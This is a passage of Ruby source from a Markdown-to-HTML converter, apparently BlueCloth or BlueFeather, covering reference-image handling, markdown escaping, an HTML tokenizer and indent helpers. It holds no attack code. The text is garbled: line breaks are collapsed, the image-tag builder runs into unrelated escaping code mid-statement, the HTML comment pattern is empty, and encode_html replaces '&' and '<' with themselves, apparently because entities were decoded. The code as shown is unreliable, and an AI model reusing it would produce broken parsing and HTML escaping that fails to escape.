% str # Handle reference-style labeled images: ![alt text][id] str. gsub( ReferenceImageRegexp ) {|match| whole, alt, linkid = $1, $2, $3.downcase @log.debug "Matched %p" % match res = nil alt.gsub!( /"/, '"' ) # for shortcut links like ![this][]. linkid = alt.downcase if linkid.empty? if rs.urls.key?( linkid ) url = escape_md( rs.urls[linkid] ) @log.debug "Found url '%s' for linkid '%s' " % [ url, linkid ] # Build the tag result = %{%s}, '>' ). gsub( CodeEscapeRegexp ) {|match| EscapeTable[match][:md5]} end def escape_to_header_id(str) URI.escape(escape_md(str.gsub(/<\/?[^>]*>/, "").gsub(/\s/, "_")).gsub("/", ".2F")).gsub("%", ".") end ################################################################# ### U T I L I T Y F U N C T I O N S ################################################################# ### Escape any markdown characters in a copy of the given +str+ and return ### it. def escape_md( str ) str. gsub( /\*|_/ ){|symbol| EscapeTable[symbol][:md5]} end # Matching constructs for tokenizing X/HTML HTMLCommentRegexp = %r{ }mx XMLProcInstRegexp = %r{ <\? .*? \?> }mx MetaTag = Regexp::union( HTMLCommentRegexp, XMLProcInstRegexp ) HTMLTagOpenRegexp = %r{ < [a-z/!$] [^<>]* }imx HTMLTagCloseRegexp = %r{ > }x HTMLTagPart = Regexp::union( HTMLTagOpenRegexp, HTMLTagCloseRegexp ) ### Break the HTML source in +str+ into a series of tokens and return ### them. The tokens are just 2-element Array tuples with a type and the ### actual content. If this function is called with a block, the type and ### text parts of each token will be yielded to it one at a time as they are ### extracted. def tokenize_html( str ) depth = 0 tokens = [] @scanner.string = str.dup type, token = nil, nil until @scanner.empty? @log.debug "Scanning from %p" % @scanner.rest # Match comments and PIs without nesting if (( token = @scanner.scan(MetaTag) )) type = :tag # Do nested matching for HTML tags elsif (( token = @scanner.scan(HTMLTagOpenRegexp) )) tagstart = @scanner.pos @log.debug " Found the start of a plain tag at %d" % tagstart # Start the token with the opening angle depth = 1 type = :tag # Scan the rest of the tag, allowing unlimited nested <>s. If # the scanner runs out of text before the tag is closed, raise # an error. while depth.nonzero? # Scan either an opener or a closer chunk = @scanner.scan( HTMLTagPart ) or break # BlueFeather Fix (refer to spec/code-block.rb) @log.debug " Found another part of the tag at depth %d: %p" % [ depth, chunk ] token += chunk # If the last character of the token so far is a closing # angle bracket, decrement the depth. Otherwise increment # it for a nested tag. depth += ( token[-1, 1] == '>' ? -1 : 1 ) @log.debug " Depth is now #{depth}" end # Match text segments else @log.debug " Looking for a chunk of text" type = :text # Scan forward, always matching at least one character to move # the pointer beyond any non-tag '<'. token = @scanner.scan_until( /[^<]+/m ) end @log.debug " type: %p, token: %p" % [ type, token ] # If a block is given, feed it one token at a time. Add the token to # the token list to be returned regardless. if block_given? yield( type, token ) end tokens << [ type, token ] end return tokens end ### Return a copy of +str+ with angle brackets and ampersands HTML-encoded. def encode_html( str ) str.gsub( /&(?!#?[x]?(?:[0-9a-f]+|\w+);)/i, "&" ). gsub( %r{<(?![a-z/?\$!])}i, "<" ) end ### Return one level of line-leading tabs or spaces from a copy of +str+ and ### return it. def outdent( str ) str.gsub( /^(\t|[ ]{1,#{TabWidth}})/, '') end def indent(str) str.gsub( /^/, ' ' * TabWidth) end end end